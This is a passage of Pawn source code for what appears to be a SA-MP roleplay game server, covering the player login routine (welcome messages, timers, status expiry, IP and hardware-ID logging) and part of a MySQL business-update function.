  if(PINFO[playerid][pAuto] == 1)
  {
		  format(string2, sizeof(string2), "AutoLogin feature is {00FF00}enabled{FFFFFF}.");
		  SendMessage(playerid, COLOR_WHITE,string2);
		   if(PINFO[playerid][pAutoPIN] == 1 && pindare[playerid] == 1 && PINFO[playerid][pPinned] == 1)
		   {
				  LockAcc[playerid] = 0;
				  pindare[playerid] = 0;
		  }
  }
			new strings[144];
  if(PINFO[playerid][pAutoS] == 0)
  {
		  format(strings, sizeof(strings), "AutoSleep feature is {FF0000}disabled{FFFFFF}.");
		  SendMessage(playerid, COLOR_WHITE,strings);
  }
  if(PINFO[playerid][pAutoS] == 1)
  {
		  format(strings, sizeof(strings), "AutoSleep feature is {00FF00}enabled{FFFFFF}.");
		  SendMessage(playerid, COLOR_WHITE,strings);
		  SetTimerEx("autosleep", 500, 0, "d", playerid);
		  AutoSleepZade[playerid] = 1;
  }
  if(PINFO[playerid][pAdmin] >= 1 || PINFO[playerid][pHelper] >= 1)
  {
	PlayerTextDrawShow(playerid, SAR[playerid]);
  }
	   if(KickLogin[playerid]!=0)
	   {
	   KillTimer(KickLogin[playerid]);
	   KickLogin[playerid]=0;
	   }
  new query[200];
  mysql_format(handle, query, sizeof(query), "SELECT * FROM `messages` WHERE Receiver='%e'",PINFO[playerid][pName]);
  mysql_tquery(handle, query, "DoesPlayerHaveMessage", "i", playerid);
  SinaManam[playerid] = SetTimerEx("CheckOneSecond", 1000, true, "i", playerid);
  ZeroTimer[playerid] = SetTimerEx("SetZero", 6000, true, "i", playerid);
  AIBTimer[playerid] = SetTimerEx("CheckCounts", 5000, true, "i", playerid);
  CheckMeh[playerid] = SetTimerEx("CheckMehz", 100, true, "i", playerid);
  DesyncBegin[playerid] = SetTimerEx("DesyncBeginz", 3000, false, "i", playerid);
  //FlyCheatTimer[playerid] = SetTimerEx("PlayerFlyHack", 500, true, "i", playerid);
  //FlyCheatTimer2[playerid] = SetTimerEx("PlayerFlyHack2", 500, true, "i", playerid);
  CheckKonBN[playerid] = SetTimerEx("CheckHalfTimer", 500, true, "i", playerid);
  //MySpamsTimer[playerid] = SetTimerEx("CheckMySpams", 1000, true, "i", playerid);
  MinerCoins[playerid] = SetTimerEx("MineCoins", 10000, true, "i", playerid);
  //AFKCheckActiveTimer[playerid] = SetTimerEx("AFKCheck", 1000, true, "i", playerid);
  if(GetPlayerWantedLevel(playerid) >= 1)
  {
  WantedKamKonTimerValid[playerid] = true;
  WantedTimerEZ[playerid] = 900;
  PlayerTextDrawShow(playerid, WantedTTD[playerid]);
  }
  cheatcode21[playerid] = 0;
  if(PINFO[playerid][pRefa] == 0)
  {
	TestVR[playerid] += teadadacc;
	//strcpy(PINFO[playerid][pID],TestVR[playerid],128);
	 //new ORG[256];
	 //ORG = TestVR[playerid];
	PINFO[playerid][pRefa] = 1;
	SaveKonVal(playerid, "pRefa", 1);
	PINFO[playerid][pID] = TestVR[playerid];
	SaveKonVal(playerid, "pID", TestVR[playerid]);
	TestVR[playerid] = 0;
  }
  /*
  if(PINFO[playerid][pHDay] == 0 && PINFO[playerid][pAdmin] == 7 || PINFO[playerid][pAdmin] == 8 || PINFO[playerid][pAdmin] == 9)
  {
  phday1[playerid] = 1;
  }
  if(PINFO[playerid][pSDay] == 0 && PINFO[playerid][pSponser] == 1)
  {
  psday1[playerid] = 1;
  }
  */
  onnlogin[playerid] = 0;
  new tmphour;
	new tmpminute;
	new tmpsecond;
	gettime(tmphour, tmpminute, tmpsecond);
	if(tmphour >= 19 && tmphour <= 24 && PlayerInfo[playerid][pPremiumAccount] != 0) {
	SendMessage(playerid, COLOR_LIGHTBLUE,"You will receive double respect points and paycheck at your next payday.");
	}
  if(PINFO[playerid][pPinned] == 0)
  {
		  SendMessage(playerid, COLOR_LIGHTBLUE,"Your account have no PIN entered. To improve the security of your account use /pininfo and set a PIN.");
  }
  if(PINFO[playerid][pSecurity] == 0)
  {
          SendMessage(playerid, COLOR_LIGHTBLUE,"Your account have no recovery option. To recovery your account anytime, use /mysecurity and add a security question.");
  }
			if(MeetInfo[GetPlayerFactionID(playerid)][mMeeting] != 0)
			{
			   new cht[144];
            if(MeetInfo[GetPlayerFactionID(playerid)][mMeeting] == 2)
            {
               format(cht, sizeof(cht), "[Faction]: Your faction meeting time was set to %02d/%02d/%02d %02d:%02d:%02d", MeetInfo[GetPlayerFactionID(playerid)][mYear], MeetInfo[GetPlayerFactionID(playerid)][mMonth], MeetInfo[GetPlayerFactionID(playerid)][mDay], MeetInfo[GetPlayerFactionID(playerid)][mHour], MeetInfo[GetPlayerFactionID(playerid)][mMinute], MeetInfo[GetPlayerFactionID(playerid)][mSecond]);
               SendMessage(playerid, COLOR_LIGHTBLUE,cht);
			}
			if(MeetInfo[GetPlayerFactionID(playerid)][mMeeting] == 1)
			{
			if(IsDateTimeInPast(MeetInfo[GetPlayerFactionID(playerid)][mYear], MeetInfo[GetPlayerFactionID(playerid)][mMonth], MeetInfo[GetPlayerFactionID(playerid)][mDay], MeetInfo[GetPlayerFactionID(playerid)][mHour], MeetInfo[GetPlayerFactionID(playerid)][mMinute], MeetInfo[GetPlayerFactionID(playerid)][mSecond]))
			{}
			else
			{
               format(cht, sizeof(cht), "[Faction]: Your faction meeting time was set to %02d/%02d/%02d %02d:%02d:%02d", MeetInfo[GetPlayerFactionID(playerid)][mYear], MeetInfo[GetPlayerFactionID(playerid)][mMonth], MeetInfo[GetPlayerFactionID(playerid)][mDay], MeetInfo[GetPlayerFactionID(playerid)][mHour], MeetInfo[GetPlayerFactionID(playerid)][mMinute], MeetInfo[GetPlayerFactionID(playerid)][mSecond]);
               SendMessage(playerid, COLOR_LIGHTBLUE,cht);
			}
			}
			}
			if(MeetInfo[18][mMeeting]!=0&&IsStaff(playerid))
			{
			new cht[144];
			if(MeetInfo[18][mMeeting]==2)
			{
            format(cht, sizeof(cht), " An ongoing staff meeting is at %02d/%02d/%02d %02d:%02d:%02d", MeetInfo[18][mYear], MeetInfo[18][mMonth], MeetInfo[18][mDay], MeetInfo[18][mHour], MeetInfo[18][mMinute], MeetInfo[18][mSecond]);
            SendMessage(playerid, COLOR_LIGHTRED,cht);
            }
            if(MeetInfo[18][mMeeting]==1)
            {
            if(IsDateTimeInPast(MeetInfo[18][mYear], MeetInfo[18][mMonth], MeetInfo[18][mDay], MeetInfo[18][mHour], MeetInfo[18][mMinute], MeetInfo[18][mSecond]))
            {}
            else
            {
            format(cht, sizeof(cht), " An ongoing staff meeting is at %02d/%02d/%02d %02d:%02d:%02d", MeetInfo[18][mYear], MeetInfo[18][mMonth], MeetInfo[18][mDay], MeetInfo[18][mHour], MeetInfo[18][mMinute], MeetInfo[18][mSecond]);
            SendMessage(playerid, COLOR_LIGHTRED,cht);
            }
            }
			}
   if(PINFO[playerid][pAdminJailed] == 1 && PlayerInfo[playerid][pJailTime] > 0)
  {

		  format(string2, sizeof(string2), "You have been Admin-Jailed by admin %s for %s.",PlayerInfo[playerid][pJailBy],PlayerInfo[playerid][pJailReason]);
		  SendMessage(playerid, COLOR_LIGHTRED,string2);
  }
   if(PINFO[playerid][pMuteTime] != 0)
  {

		  format(string2, sizeof(string2), "You have been Muted by admin %s for %s.",PlayerInfo[playerid][pMuteBy],PlayerInfo[playerid][pMuteReason]);
		  SendMessage(playerid, COLOR_LIGHTRED,string2);
  }
  if(PINFO[playerid][pPDay] == 9999) {
  SCM(playerid, COLOR_RED, "{FF0000}Warning: {FFFF00}your premium account date has been expired.");
  PINFO[playerid][pPDay] = 0;
  SaveKonVal(playerid, "pPDay", 0);
  PINFO[playerid][pPremiumAccount] = 0;
  SaveKonVal(playerid, "pPremiumAccount", 0);
  }
  if(PINFO[playerid][pHDay] == 0 && PINFO[playerid][pAdmin] == 7 || PINFO[playerid][pHDay] == 0 && PINFO[playerid][pAdmin] == 8 || PINFO[playerid][pHDay] == 0 && PINFO[playerid][pAdmin] == 9)
  {
	SCM(playerid, COLOR_RED, "{FF0000}Warning: {FFFF00}Your Hoster date has been expired.");
	SCM(playerid, COLOR_Good, "For syncing with systems, you'll be reconnect.");
	PINFO[playerid][pHDay] = 0;
	SaveKonVal(playerid, "pHDay", 0);
	PINFO[playerid][pAdmin] = 0;
	SaveKonVal(playerid, "pAdmin", 0);
	PINFO[playerid][pHelper] = 0;
	SaveKonVal(playerid, "pHelper", 0);
	//OnPlayerCommandText(playerid, "/relog");
	//RelogPlayer2(playerid);
	RelogPlayerDovvom[playerid] = SetTimerEx("Relogme2", 50, false, "i", playerid);
  }
  if(PINFO[playerid][pSDay] == 0 && PINFO[playerid][pSponser] == 1)
  {
	SCM(playerid, COLOR_RED, "{FF0000}Warning: {FFFF00}Your Sponsor date has been expired.");
	PINFO[playerid][pSDay] = 0;
	SaveKonVal(playerid, "pSDay", 0);
	PINFO[playerid][pSponser] = 0;
	SaveKonVal(playerid, "pSponser", 0);
  }
  /*
  if(PINFO[playerid][pCard] == 2) {
  SCM(playerid, COLOR_RED, "{FFFF00}Your soldier ship has been finished.");
  SCM(playerid, COLOR_RED, "{FFFF00}You have soldier finish card now.");
  SCM(playerid, COLOR_RED, "{FFFF00}You earned 30,000$ for prize.");
  PINFO[playerid][pCard] = 1;
  SaveKonVal(playerid, "pCard", 1);
  }
  */
  new tmpPlayerIp[120];
  GetPlayerIp(playerid, tmpPlayerIp, sizeof(tmpPlayerIp));
  SaveKonStr(playerid, "pAutoIP", tmpPlayerIp);
  new hwid[45];
  gpci(playerid,hwid,sizeof(hwid));
  new hwquery[500];
  mysql_format(handle, hwquery, 500, "UPDATE `users` SET `pHWID`='%e' WHERE `pName`='%e'", hwid, PlayerInfo[playerid][pName]);
  mysql_tquery(handle, hwquery, "SendQuery", "");
  format(string2, sizeof(string2), "~w~Welcome ~n~~y~  %s",playername2);
  GameTextForPlayer(playerid, string2, 3000, 1);
  //GangZoneHideForPlayer(playerid,meshki);

  TextDrawHideForPlayer(playerid,shacklog);

   SetPlayerSpawn(playerid);

   new friend[512];

   format(friend, sizeof(friend), "~y~You have ~r~%d~y~/~r~%d ~y~online friends.",CountF[playerid], KolFriends[playerid]);

   //TextDrawShowForPlayer(playerid, Friend2);

   PlayerTextDrawSetString(playerid, Friend[playerid], friend);

   PlayerTextDrawShow(playerid, Friend[playerid]);

   SetTimerEx("hidefr", 5000, false, "i", playerid);

   GivePlayerPool(playerid,PlayerInfo[playerid][pCash]);
		// All rights by SiNaGaMeR
	if(PlayerInfo[playerid][pFSS] == 0)
	{
	SetPlayerFightingStyle(playerid, FIGHT_STYLE_NORMAL);
	}
	if(PlayerInfo[playerid][pFSS] == 1)
	{
	SetPlayerFightingStyle(playerid, FIGHT_STYLE_ELBOW);
	}
	if(PlayerInfo[playerid][pFSS] == 2)
	{
	SetPlayerFightingStyle(playerid, FIGHT_STYLE_BOXING);
	}
	if(PlayerInfo[playerid][pFSS] == 3)
	{
	SetPlayerFightingStyle(playerid, FIGHT_STYLE_GRABKICK);
	}
	if(PlayerInfo[playerid][pFSS] == 4)
	{
	SetPlayerFightingStyle(playerid, FIGHT_STYLE_KNEEHEAD);
	}
	if(PlayerInfo[playerid][pFSS] == 5)
	{
	SetPlayerFightingStyle(playerid, FIGHT_STYLE_KUNGFU);
	}
	OnPlayerEnterGame(playerid);
  }
  }
  }
  else
  {
  //SetTimerEx("Kickshack", 200, false, "i", playerid);
  if(IsPlayerConnected(playerid))
  {
  TogglePlayerControllable(playerid,1);
  SpawnPlayer(playerid);
  mpop[playerid] = 0;
  new playername2[40];
  new string2[256];
  GetPlayerName(playerid,playername2,40);
  new string3[256];
	printf("%s has logged in.",playername2);
	StopAudioStreamForPlayer(playerid);// by Sina
	   if(IsInFaction(playerid)) { SetPlayerSkin(playerid, PlayerInfo[playerid][fSkin]); }// By SiNaGaMeR
	else { SetPlayerSkin(playerid, PlayerInfo[playerid][cSkin]); }// By SiNaGaMeR
	/*
	   // All rights by SiNaGaMeR
	if(PlayerInfo[playerid][pFSS] == 0)
	{
	SetPlayerFightingStyle(playerid, FIGHT_STYLE_NORMAL);
	return 1;
	}
	if(PlayerInfo[playerid][pFSS] == 1)
	{
	SetPlayerFightingStyle(playerid, FIGHT_STYLE_ELBOW);
	return 1;
	}
	if(PlayerInfo[playerid][pFSS] == 2)
	{
	SetPlayerFightingStyle(playerid, FIGHT_STYLE_BOXING);
	return 1;
	}
	if(PlayerInfo[playerid][pFSS] == 3)
	{
	SetPlayerFightingStyle(playerid, FIGHT_STYLE_GRABKICK);
	return 1;
	}
	if(PlayerInfo[playerid][pFSS] == 4)
	{
	SetPlayerFightingStyle(playerid, FIGHT_STYLE_KNEEHEAD);
	return 1;
	}
	if(PlayerInfo[playerid][pFSS] == 5)
	{
	SetPlayerFightingStyle(playerid, FIGHT_STYLE_KUNGFU);
	return 1;
	}
	// =))
	*/
  format(string3, sizeof(string3), "SERVER: Welcome {00E8C0}%s{FFFFFF}!",playername2);
  SCM(playerid,COLOR_WHITE,string3);
  if (PlayerInfo[playerid][pPremiumAccount] != 0)
  {
		  SendMessage(playerid, COLOR_WHITE,"SERVER: You're a Premium Account user.");
  }
  if (PlayerInfo[playerid][pVip] != 0)
  {
	SendMessage(playerid, COLOR_WHITE,"SERVER: You're a VIP user.");
  }
  if (PlayerInfo[playerid][pAdmin] >= 1)
  {
		  format(string2, sizeof(string2), "SERVER: Welcome Admin {C60000}%s{FFFFFF}.",playername2,PlayerInfo[playerid][pAdmin]);
		  SendMessage(playerid, COLOR_WHITE,string2);
  }
  if (PlayerInfo[playerid][pSponser] == 1)
  {
		  format(string2, sizeof(string2), "SERVER: Welcome Sponsor {C60000}%s{FFFFFF}.",playername2,PlayerInfo[playerid][pAdmin]);
		  SendMessage(playerid, COLOR_WHITE,string2);
  }
  if(PINFO[playerid][pHelper] >= 1)
  {
		  format(string2, sizeof(string2), "SERVER: Welcome Helper {FFB870}%s{FFFFFF}.",playername2,PlayerInfo[playerid][pHelper]);
		  SendMessage(playerid, COLOR_WHITE,string2);
  }
  if(PINFO[playerid][pAuto] == 0)
  {
		  format(string2, sizeof(string2), "AutoLogin feature is {FF0000}disabled{FFFFFF}.");
		  SendMessage(playerid, COLOR_WHITE,string2);
  }
  if(PINFO[playerid][pAuto] == 1)
  {
		  format(string2, sizeof(string2), "AutoLogin feature is {00FF00}enabled{FFFFFF}.");
		  SendMessage(playerid, COLOR_WHITE,string2);
		   if(PINFO[playerid][pAutoPIN] == 1 && pindare[playerid] == 1 && PINFO[playerid][pPinned] == 1)
		   {
				  LockAcc[playerid] = 0;
				  pindare[playerid] = 0;
		  }
  }
  new strings[144];
  if(PINFO[playerid][pAutoS] == 0)
  {
		  format(strings, sizeof(strings), "AutoSleep feature is {FF0000}disabled{FFFFFF}.");
		  SendMessage(playerid, COLOR_WHITE,strings);
  }
  if(PINFO[playerid][pAutoS] == 1)
  {
		  format(strings, sizeof(strings), "AutoSleep feature is {00FF00}enabled{FFFFFF}.");
		  SendMessage(playerid, COLOR_WHITE,strings);
		  SetTimerEx("autosleep", 500, 0, "d", playerid);
		  AutoSleepZade[playerid] = 1;
  }
  if(PINFO[playerid][pAdmin] >= 1 || PINFO[playerid][pHelper] >= 1)
  {
	PlayerTextDrawShow(playerid, SAR[playerid]);
  }
	   if(KickLogin[playerid]!=0)
	   {
	   KillTimer(KickLogin[playerid]);
	   KickLogin[playerid]=0;
	   }
  new query[200];
  mysql_format(handle, query, sizeof(query), "SELECT * FROM `messages` WHERE Receiver='%e'",PINFO[playerid][pName]);
  mysql_tquery(handle, query, "DoesPlayerHaveMessage", "i", playerid);
  SinaManam[playerid] = SetTimerEx("CheckOneSecond", 1000, true, "i", playerid);
  ZeroTimer[playerid] = SetTimerEx("SetZero", 6000, true, "i", playerid);
  AIBTimer[playerid] = SetTimerEx("CheckCounts", 5000, true, "i", playerid);
  CheckMeh[playerid] = SetTimerEx("CheckMehz", 100, true, "i", playerid);
  DesyncBegin[playerid] = SetTimerEx("DesyncBeginz", 3000, false, "i", playerid);
  //FlyCheatTimer[playerid] = SetTimerEx("PlayerFlyHack", 500, true, "i", playerid);
  //FlyCheatTimer2[playerid] = SetTimerEx("PlayerFlyHack2", 500, true, "i", playerid);
  CheckKonBN[playerid] = SetTimerEx("CheckHalfTimer", 500, true, "i", playerid);
  //MySpamsTimer[playerid] = SetTimerEx("CheckMySpams", 1000, true, "i", playerid);
  MinerCoins[playerid] = SetTimerEx("MineCoins", 10000, true, "i", playerid);
  //AFKCheckActiveTimer[playerid] = SetTimerEx("AFKCheck", 1000, true, "i", playerid);
  if(GetPlayerWantedLevel(playerid) >= 1)
  {
  WantedKamKonTimerValid[playerid] = true;
  WantedTimerEZ[playerid] = 900;
  PlayerTextDrawShow(playerid, WantedTTD[playerid]);
  }
  cheatcode21[playerid] = 0;
  if(PINFO[playerid][pRefa] == 0)
  {
	TestVR[playerid] += teadadacc;
	//strcpy(PINFO[playerid][pID],TestVR[playerid],128);
	 //new ORG[256];
	 //ORG = TestVR[playerid];
	PINFO[playerid][pRefa] = 1;
	SaveKonVal(playerid, "pRefa", 1);
	PINFO[playerid][pID] = TestVR[playerid];
	SaveKonVal(playerid, "pID", TestVR[playerid]);
	TestVR[playerid] = 0;
  }
  /*
  if(PINFO[playerid][pHDay] == 0 && PINFO[playerid][pAdmin] == 7 || PINFO[playerid][pAdmin] == 8 || PINFO[playerid][pAdmin] == 9)
  {
  phday1[playerid] = 1;
  }
  if(PINFO[playerid][pSDay] == 0 && PINFO[playerid][pSponser] == 1)
  {
  psday1[playerid] = 1;
  }
  */
  onnlogin[playerid] = 0;
  new tmphour;
	new tmpminute;
	new tmpsecond;
	gettime(tmphour, tmpminute, tmpsecond);
	if(tmphour >= 19 && tmphour <= 24 && PlayerInfo[playerid][pPremiumAccount] != 0) {
	SendMessage(playerid, COLOR_LIGHTBLUE,"You will receive double respect points and paycheck at your next payday.");
  }
  if(PINFO[playerid][pPinned] == 0)
  {
		  SendMessage(playerid, COLOR_LIGHTBLUE,"Your account have no PIN entered. To improve the security of your account use /pininfo and set a PIN.");
  }
  if(PINFO[playerid][pSecurity] == 0)
  {
          SendMessage(playerid, COLOR_LIGHTBLUE,"Your account have no recovery option. To recovery your account anytime, use /mysecurity and add a security question.");
  }
			if(MeetInfo[GetPlayerFactionID(playerid)][mMeeting] != 0)
			{
			   new cht[144];
            if(MeetInfo[GetPlayerFactionID(playerid)][mMeeting] == 2)
            {
               format(cht, sizeof(cht), "[Faction]: Your faction meeting time was set to %02d/%02d/%02d %02d:%02d:%02d", MeetInfo[GetPlayerFactionID(playerid)][mYear], MeetInfo[GetPlayerFactionID(playerid)][mMonth], MeetInfo[GetPlayerFactionID(playerid)][mDay], MeetInfo[GetPlayerFactionID(playerid)][mHour], MeetInfo[GetPlayerFactionID(playerid)][mMinute], MeetInfo[GetPlayerFactionID(playerid)][mSecond]);
               SendMessage(playerid, COLOR_LIGHTBLUE,cht);
			}
			if(MeetInfo[GetPlayerFactionID(playerid)][mMeeting] == 1)
			{
			if(IsDateTimeInPast(MeetInfo[GetPlayerFactionID(playerid)][mYear], MeetInfo[GetPlayerFactionID(playerid)][mMonth], MeetInfo[GetPlayerFactionID(playerid)][mDay], MeetInfo[GetPlayerFactionID(playerid)][mHour], MeetInfo[GetPlayerFactionID(playerid)][mMinute], MeetInfo[GetPlayerFactionID(playerid)][mSecond]))
			{}
			else
			{
               format(cht, sizeof(cht), "[Faction]: Your faction meeting time was set to %02d/%02d/%02d %02d:%02d:%02d", MeetInfo[GetPlayerFactionID(playerid)][mYear], MeetInfo[GetPlayerFactionID(playerid)][mMonth], MeetInfo[GetPlayerFactionID(playerid)][mDay], MeetInfo[GetPlayerFactionID(playerid)][mHour], MeetInfo[GetPlayerFactionID(playerid)][mMinute], MeetInfo[GetPlayerFactionID(playerid)][mSecond]);
               SendMessage(playerid, COLOR_LIGHTBLUE,cht);
			}
			}
			}
			if(MeetInfo[18][mMeeting]!=0&&IsStaff(playerid))
			{
			new cht[144];
			if(MeetInfo[18][mMeeting]==2)
			{
            format(cht, sizeof(cht), " An ongoing staff meeting is at %02d/%02d/%02d %02d:%02d:%02d", MeetInfo[18][mYear], MeetInfo[18][mMonth], MeetInfo[18][mDay], MeetInfo[18][mHour], MeetInfo[18][mMinute], MeetInfo[18][mSecond]);
            SendMessage(playerid, COLOR_LIGHTRED,cht);
            }
            if(MeetInfo[18][mMeeting]==1)
            {
            if(IsDateTimeInPast(MeetInfo[18][mYear], MeetInfo[18][mMonth], MeetInfo[18][mDay], MeetInfo[18][mHour], MeetInfo[18][mMinute], MeetInfo[18][mSecond]))
            {}
            else
            {
            format(cht, sizeof(cht), " An ongoing staff meeting is at %02d/%02d/%02d %02d:%02d:%02d", MeetInfo[18][mYear], MeetInfo[18][mMonth], MeetInfo[18][mDay], MeetInfo[18][mHour], MeetInfo[18][mMinute], MeetInfo[18][mSecond]);
            SendMessage(playerid, COLOR_LIGHTRED,cht);
            }
            }
			}
   if(PINFO[playerid][pAdminJailed] == 1 && PlayerInfo[playerid][pJailTime] > 0)
  {

		  format(string2, sizeof(string2), "You have been Admin-Jailed by admin %s for %s.",PlayerInfo[playerid][pJailBy],PlayerInfo[playerid][pJailReason]);
		  SendMessage(playerid, COLOR_LIGHTRED,string2);
  }
   if(PINFO[playerid][pMuteTime] != 0)
  {

		  format(string2, sizeof(string2), "You have been Muted by admin %s for %s.",PlayerInfo[playerid][pMuteBy],PlayerInfo[playerid][pMuteReason]);
		  SendMessage(playerid, COLOR_LIGHTRED,string2);
  }
  if(PINFO[playerid][pPDay] == 9999) {
  SCM(playerid, COLOR_RED, "{FF0000}Warning: {FFFF00}your premium account date has been expired.");
  PINFO[playerid][pPDay] = 0;
  SaveKonVal(playerid, "pPDay", 0);
  PINFO[playerid][pPremiumAccount] = 0;
  SaveKonVal(playerid, "pPremiumAccount", 0);
  }
  if(PINFO[playerid][pHDay] == 0 && PINFO[playerid][pAdmin] == 7 || PINFO[playerid][pHDay] == 0 && PINFO[playerid][pAdmin] == 8 || PINFO[playerid][pHDay] == 0 && PINFO[playerid][pAdmin] == 9)
  {
	SCM(playerid, COLOR_RED, "{FF0000}Warning: {FFFF00}Your Hoster date has been expired.");
	SCM(playerid, COLOR_Good, "For syncing with systems, you'll be reconnect.");
	PINFO[playerid][pHDay] = 0;
	SaveKonVal(playerid, "pHDay", 0);
	PINFO[playerid][pAdmin] = 0;
	SaveKonVal(playerid, "pAdmin", 0);
	PINFO[playerid][pHelper] = 0;
	SaveKonVal(playerid, "pHelper", 0);
	//OnPlayerCommandText(playerid, "/relog");
	//RelogPlayer2(playerid);
	RelogPlayerDovvom[playerid] = SetTimerEx("Relogme2", 50, false, "i", playerid);
  }
  if(PINFO[playerid][pSDay] == 0 && PINFO[playerid][pSponser] == 1)
  {
	SCM(playerid, COLOR_RED, "{FF0000}Warning: {FFFF00}Your Sponsor date has been expired.");
	PINFO[playerid][pSDay] = 0;
	SaveKonVal(playerid, "pSDay", 0);
	PINFO[playerid][pSponser] = 0;
	SaveKonVal(playerid, "pSponser", 0);
  }
  /*
  if(PINFO[playerid][pCard] == 2) {
  SCM(playerid, COLOR_RED, "{FFFF00}Your soldier ship has been finished.");
  SCM(playerid, COLOR_RED, "{FFFF00}You have soldier finish card now.");
  SCM(playerid, COLOR_RED, "{FFFF00}You earned 30,000$ for prize.");
  PINFO[playerid][pCard] = 1;
  SaveKonVal(playerid, "pCard", 1);
  }
  */
  new tmpPlayerIp[120];
  GetPlayerIp(playerid, tmpPlayerIp, sizeof(tmpPlayerIp));
  SaveKonStr(playerid, "pAutoIP", tmpPlayerIp);
  new hwid[45];
  gpci(playerid,hwid,sizeof(hwid));
  new hwquery[500];
  mysql_format(handle, hwquery, 500, "UPDATE `users` SET `pHWID`='%e' WHERE `pName`='%e'", hwid, PlayerInfo[playerid][pName]);
  mysql_tquery(handle, hwquery, "SendQuery", "");
  format(string2, sizeof(string2), "~w~Welcome ~n~~y~  %s",playername2);
  GameTextForPlayer(playerid, string2, 3000, 1);
  //GangZoneHideForPlayer(playerid,meshki);

  TextDrawHideForPlayer(playerid,shacklog);

   SetPlayerSpawn(playerid);

   new friend[512];

   format(friend, sizeof(friend), "~y~You have ~r~%d~y~/~r~%d ~y~online friends.",CountF[playerid], KolFriends[playerid]);

   //TextDrawShowForPlayer(playerid, Friend2);

   PlayerTextDrawSetString(playerid, Friend[playerid], friend);

   PlayerTextDrawShow(playerid, Friend[playerid]);

   SetTimerEx("hidefr", 5000, false, "i", playerid);

   GivePlayerPool(playerid,PlayerInfo[playerid][pCash]);
	  // All rights by SiNaGaMeR
	if(PlayerInfo[playerid][pFSS] == 0)
	{
	SetPlayerFightingStyle(playerid, FIGHT_STYLE_NORMAL);
	}
	if(PlayerInfo[playerid][pFSS] == 1)
	{
	SetPlayerFightingStyle(playerid, FIGHT_STYLE_ELBOW);
	}
	if(PlayerInfo[playerid][pFSS] == 2)
	{
	SetPlayerFightingStyle(playerid, FIGHT_STYLE_BOXING);
	}
	if(PlayerInfo[playerid][pFSS] == 3)
	{
	SetPlayerFightingStyle(playerid, FIGHT_STYLE_GRABKICK);
	}
	if(PlayerInfo[playerid][pFSS] == 4)
	{
	SetPlayerFightingStyle(playerid, FIGHT_STYLE_KNEEHEAD);
	}
	if(PlayerInfo[playerid][pFSS] == 5)
	{
	SetPlayerFightingStyle(playerid, FIGHT_STYLE_KUNGFU);
	}
	OnPlayerEnterGame(playerid);
	// =))
  }
  }
}
forward Kickshack(playerid);
public Kickshack(playerid)
{
  Kick(playerid);
}
forward hidefr(playerid);
public hidefr(playerid)
{
  PlayerTextDrawHide(playerid, Friend[playerid]);
  //TextDrawHideForPlayer(playerid, Friend2);
}
 forward SafeFreeze(playerid);
 public SafeFreeze(playerid)
{
  TogglePlayerControllable(playerid, 1);
}


/*stock ini_GetKey( line[] )
{
	new keyRes[256];
	keyRes[0] = 0;
	if ( strfind( line , "=" , true ) == -1 ) return keyRes;
	strmid( keyRes , line , 0 , strfind( line , "=" , true ) , sizeof( keyRes) );
	return keyRes;
}

stock ini_GetValue( line[] )
{
	new valRes[256];
	valRes[0]=0;
	if ( strfind( line , "=" , true ) == -1 ) return valRes;
	strmid( valRes , line , strfind( line , "=" , true )+1 , strlen( line ) , sizeof( valRes ) );
	return valRes;
}*/
forward OnBizUpdate(bizid);
forward OnSbizUpdate(sbizid);

public OnBizUpdate(bizid)
{
new query[256];
mysql_format(handle, query,256,"UPDATE `bizzes` SET bOwned='%d' WHERE `id`='%d'",BizzInfo[bizid][bOwned],bizid);
mysql_function_query(handle,query,false,"SendQuery","");
mysql_format(handle, query,256,"UPDATE `bizzes` SET bOwner='%e' WHERE `id`='%d'",BizzInfo[bizid][bOwner],bizid);
mysql_function_query(handle,query,false,"SendQuery","");
mysql_format(handle, query,256,"UPDATE `bizzes` SET bMessage='%e' WHERE `id`='%d'",BizzInfo[bizid][bMessage],bizid);
mysql_function_query(handle,query,false,"SendQuery","");
mysql_format(handle, query,256,"UPDATE `bizzes` SET bEntranceX='%.4f' WHERE `id`='%d'",BizzInfo[bizid][bEntranceX],bizid);
mysql_function_query(handle,query,false,"SendQuery","");
mysql_format(handle, query,256,"UPDATE `bizzes` SET bEntranceY='%.4f' WHERE `id`='%d'",BizzInfo[bizid][bEntranceY],bizid);
mysql_function_query(handle,query,false,"SendQuery","");
mysql_format(handle, query,256,"UPDATE `bizzes` SET bEntranceZ='%.4f' WHERE `id`='%d'",BizzInfo[bizid][bEntranceZ],bizid);
mysql_function_query(handle,query,false,"SendQuery","");
mysql_format(handle, query,256,"UPDATE `bizzes` SET bExitX='%.4f' WHERE `id`='%d'",BizzInfo[bizid][bExitX],bizid);
mysql_function_query(handle,query,false,"SendQuery","");
mysql_format(handle, query,256,"UPDATE `bizzes` SET bExitY='%.4f' WHERE `id`='%d'",BizzInfo[bizid][bExitY],bizid);
mysql_function_query(handle,query,false,"SendQuery","");
mysql_format(handle, query,256,"UPDATE `bizzes` SET bExitZ='%.4f' WHERE `id`='%d'",BizzInfo[bizid][bExitZ],bizid);
mysql_function_query(handle,query,false,"SendQuery","");
mysql_format(handle, query,256,"UPDATE `bizzes` SET bLevelNeeded='%d' WHERE `id`='%d'",BizzInfo[bizid][bLevelNeeded],bizid);
mysql_function_query(handle,query,false,"SendQuery","");
mysql_format(handle, query,256,"UPDATE `bizzes` SET bBuyPrice='%d' WHERE `id`='%d'",BizzInfo[bizid][bBuyPrice],bizid);
mysql_function_query(handle,query,false,"SendQuery","");
mysql_format(handle, query,256,"UPDATE `bizzes` SET bEntranceCost='%d' WHERE `id`='%d'",BizzInfo[bizid][bEntranceCost],bizid);
mysql_function_query(handle,query,false,"SendQuery","");
mysql_format(handle, query,256,"UPDATE `bizzes` SET bTill='%d' WHERE `id`='%d'",BizzInfo[bizid][bTill],bizid);
mysql_function_query(handle,query,false,"SendQuery","");
mysql_format(handle, query,256,"UPDATE `bizzes` SET bLocked='%d' WHERE `id`='%d'",BizzInfo[bizid][bLocked],bizid);
mysql_function_query(handle,query,false,"SendQuery","");
mysql_format(handle, query,256,"UPDATE `bizzes` SET bInterior='%d' WHERE `id`='%d'",BizzInfo[bizid][bInterior],bizid);
mysql_function_query(handle,query,false,"SendQuery","");
mysql_format(handle, query,256,"UPDATE `bizzes` SET bProducts='%d' WHERE `id`='%d'",BizzInfo[bizid][bProducts],bizid);
mysql_function_query(handle,query,false,"SendQuery","");
mysql_format(handle, query,256,"UPDATE `bizzes` SET bMaxProducts='%d' WHERE `id`='%d'",BizzInfo[bizid][bMaxProducts],bizid);
mysql_function_query(handle,query,false,"SendQuery","");
